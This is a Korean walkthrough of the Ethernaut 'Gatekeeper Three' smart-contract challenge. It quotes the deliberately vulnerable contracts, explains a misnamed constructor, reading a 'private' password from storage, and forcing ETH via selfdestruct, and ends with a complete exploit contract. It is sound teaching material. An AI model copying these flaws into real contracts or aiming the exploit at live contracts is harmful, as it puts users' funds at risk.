Ethernaut 28 Gatekeeper Three

문제#

지문#

Cope with gates and become an entrant. Things that might help: Recall return values of low-level functions. Be attentive with semantic. Refresh how storage works in Ethereum.

코드#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
contract SimpleTrick {
5
    GatekeeperThree public target;
6
    address public trick;
7
    uint256 private password = block.timestamp;
8

9
    constructor(address payable _target) {
10
        target = GatekeeperThree(_target);
11
    }
12

13
    function checkPassword(uint256 _password) public returns (bool) {
14
        if (_password == password) {
15
            return true;
16
        }
17
        password = block.timestamp;
18
        return false;
19
    }
20

21
    function trickInit() public {
22
        trick = address(this);
23
    }
24

25
    function trickyTrick() public {
26
        if (address(this) == msg.sender && address(this) != trick) {
27
            target.getAllowance(password);
28
        }
29
    }
30
}
31

32
contract GatekeeperThree {
33
    address public owner;
34
    address public entrant;
35
    bool public allowEntrance;
36

37
    SimpleTrick public trick;
38

39
    function construct0r() public {
40
        owner = msg.sender;
41
    }
42

43
    modifier gateOne() {
44
        require(msg.sender == owner);
45
        require(tx.origin != owner);
46
        _;
47
    }
48

49
    modifier gateTwo() {
50
        require(allowEntrance == true);
51
        _;
52
    }
53

54
    modifier gateThree() {
55
        if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
56
            _;
57
        }
58
    }
59

60
    function getAllowance(uint256 _password) public {
61
        if (trick.checkPassword(_password)) {
62
            allowEntrance = true;
63
        }
64
    }
65

66
    function createTrick() public {
67
        trick = new SimpleTrick(payable(address(this)));
68
        trick.trickInit();
69
    }
70

71
    function enter() public gateOne gateTwo gateThree {
72
        entrant = tx.origin;
73
    }
74

75
    receive() external payable {}
76
}

배경지식#

Solidity 0.4.22 이전에는 컨트랙트 이름과 같은 함수를 생성자로 쓰는 방식이 있었다. 지금은 constructor 키워드를 쓰기 때문에 construct0r는 생성자가 아니라 그냥 public 함수다. 배포 시 자동 실행되는 초기화 코드가 아니고, 아무나 호출할 수 있는 일반 함수라고 보면 된다. 이 차이 때문에 owner를 나중에 덮어쓸 수 있다.

private은 Solidity 레벨에서 다른 컨트랙트가 직접 접근하지 못하게 할 뿐, 체인에 저장된 값을 숨기지는 않는다. 컨트랙트의 storage는 슬롯 단위로 공개되어 있고 eth_getStorageAt 같은 RPC로 읽을 수 있다. SimpleTrick의 상태 변수는 순서대로 저장된다.

target: slot 0
trick: slot 1
password: slot 2

createTrick()으로 SimpleTrick을 만든 뒤 trick 주소를 얻고, 그 컨트랙트의 slot 2를 읽으면 password를 알 수 있다.

send는 ETH 전송에 실패해도 전체 트랜잭션을 revert하지 않고 false를 반환한다. gateThree는 이 실패를 오히려 통과 조건으로 사용한다. 공격 컨트랙트를 owner로 만든 뒤, 공격 컨트랙트가 ETH를 받을 수 없게 receive나 payable fallback을 두지 않으면 payable(owner).send(0.001 ether)가 실패한다.

컨트랙트에 receive()가 없어도 ETH를 강제로 보낼 수 있는 방법이 있다. 여기서는 별도 컨트랙트를 만들고 생성자에서 selfdestruct를 호출해 GatekeeperThree로 잔액을 보내면 된다. Cancun 이후에도 생성 중인 컨트랙트가 같은 트랜잭션 안에서 selfdestruct되는 경우에는 잔액 전송이 가능하다. 이 문제에서는 address(this).balance > 0.001 ether 조건만 만족하면 된다.

문제 코드 분석#

먼저 construct0r와 gateOne을 보자.

1
function construct0r() public {
2
    owner = msg.sender;
3
}
4

5
modifier gateOne() {
6
    require(msg.sender == owner);
7
    require(tx.origin != owner);
8
    _;
9
}

construct0r는 constructor가 아니다. 이름에 알파벳 o 대신 숫자 0이 들어가 있어서 누구나 호출 가능한 public 함수다. gateOne은 msg.sender == owner이면서 tx.origin != owner이어야 한다. EOA가 직접 enter()를 호출하면 msg.sender와 tx.origin이 같아서 통과할 수 없다. 따라서 공격 컨트랙트를 owner로 만든 뒤, EOA가 공격 컨트랙트를 통해 enter()를 호출해야 한다.

이제 createTrick과 password를 보자.

1
function createTrick() public {
2
    trick = new SimpleTrick(payable(address(this)));
3
    trick.trickInit();
4
}
5

6
function getAllowance(uint256 _password) public {
7
    if (trick.checkPassword(_password)) {
8
        allowEntrance = true;
9
    }
10
}

gateTwo는 allowEntrance == true를 요구하고, 이 값은 getAllowance()에서만 바뀐다. 문제는 getAllowance()가 SimpleTrick.checkPassword()를 통과해야 한다는 점이다. password는 private이지만 storage slot 2에 그대로 저장된다. 실제로 trick 주소를 얻고 slot을 읽어보면 다음과 같다.

1
await contract.createTrick()
2
await contract.trick()
3
'0xd21E19b406fc956392AcF8415D41fbAE6655bD6a'
4

5
await web3.eth.getStorageAt('0xd21E19b406fc956392AcF8415D41fbAE6655bD6a', 0)
6
'0x00000000000000000000000071bcb6eaa9db7fffde06e152454fd954eff79b00'
7
await web3.eth.getStorageAt('0xd21E19b406fc956392AcF8415D41fbAE6655bD6a', 1)
8
'0x000000000000000000000000d21e19b406fc956392acf8415d41fbae6655bd6a'
9
await web3.eth.getStorageAt('0xd21E19b406fc956392AcF8415D41fbAE6655bD6a', 2)
10
'0x00000000000000000000000000000000000000000000000000000000692e9ca4'

slot 0과 slot 1은 주소값이고, slot 2의 0x692e9ca4가 password다. 이 값을 uint256으로 넘기면 allowEntrance가 true가 된다.

마지막으로 gateThree의 실패 조건을 보자.

1
modifier gateThree() {
2
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
3
        _;
4
    }
5
}

여기서는 조건을 만족하지 못하면 revert가 아니라 함수 본문이 실행되지 않는 구조다. 따라서 entrant를 바꾸려면 두 조건을 모두 만족해야 한다. 첫 번째 조건은 GatekeeperThree에 0.001 ether보다 많은 ETH를 넣으면 된다. 일반 전송도 가능하지만, 문제 힌트와 맞게 selfdestruct로 강제 전송할 수 있다. 두 번째 조건은 owner에게 0.001 ether를 보내는 send가 false를 반환해야 한다. owner를 공격 컨트랙트로 만들고, 공격 컨트랙트에 ETH 수신 함수를 두지 않으면 이 전송이 실패한다.

풀이#

통과해야 할 조건은 세 개다.

owner는 공격 컨트랙트이고, enter() 호출은 공격 컨트랙트를 거쳐야 한다.
SimpleTrick의 slot 2에서 password를 읽어 getAllowance(password)를 호출해야 한다.
GatekeeperThree에는 0.001 ether보다 많은 ETH가 있어야 하고, owner로의 send는 실패해야 한다.

흐름은 단순하다. 먼저 createTrick()을 호출해 SimpleTrick을 만들고, trick()으로 주소를 확인한 뒤 slot 2를 읽는다. 그 다음 공격 컨트랙트에서 construct0r(), getAllowance(password), enter()를 순서대로 호출한다. createTrick()을 공격 함수 안에 같이 넣지 않은 이유는 중간에 storage를 읽어 password를 알아내야 하기 때문이다.

익스플로잇#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
interface IGatekeeperThree {
5
    function getAllowance(uint256 _password) external;
6
    function createTrick() external;
7
    function enter() external;
8
    function construct0r() external;
9
}
10

11
contract Selfdestruct {
12
    constructor(address _addr) payable {
13
        selfdestruct(payable(_addr));
14
    }
15
}
16

17
contract Attack {
18
    IGatekeeperThree gatekeeperthree;
19

20
    constructor(address _addr) {
21
        gatekeeperthree = IGatekeeperThree(_addr);
22
    }
23

24
    function forceFund() external payable {
25
        new Selfdestruct{value: msg.value}(address(gatekeeperthree));
26
    }
27

28
    function attack(uint256 _password) public {
29
        gatekeeperthree.construct0r();
30
        gatekeeperthree.getAllowance(_password);
31
        gatekeeperthree.enter();
32
    }
33
}

screenshot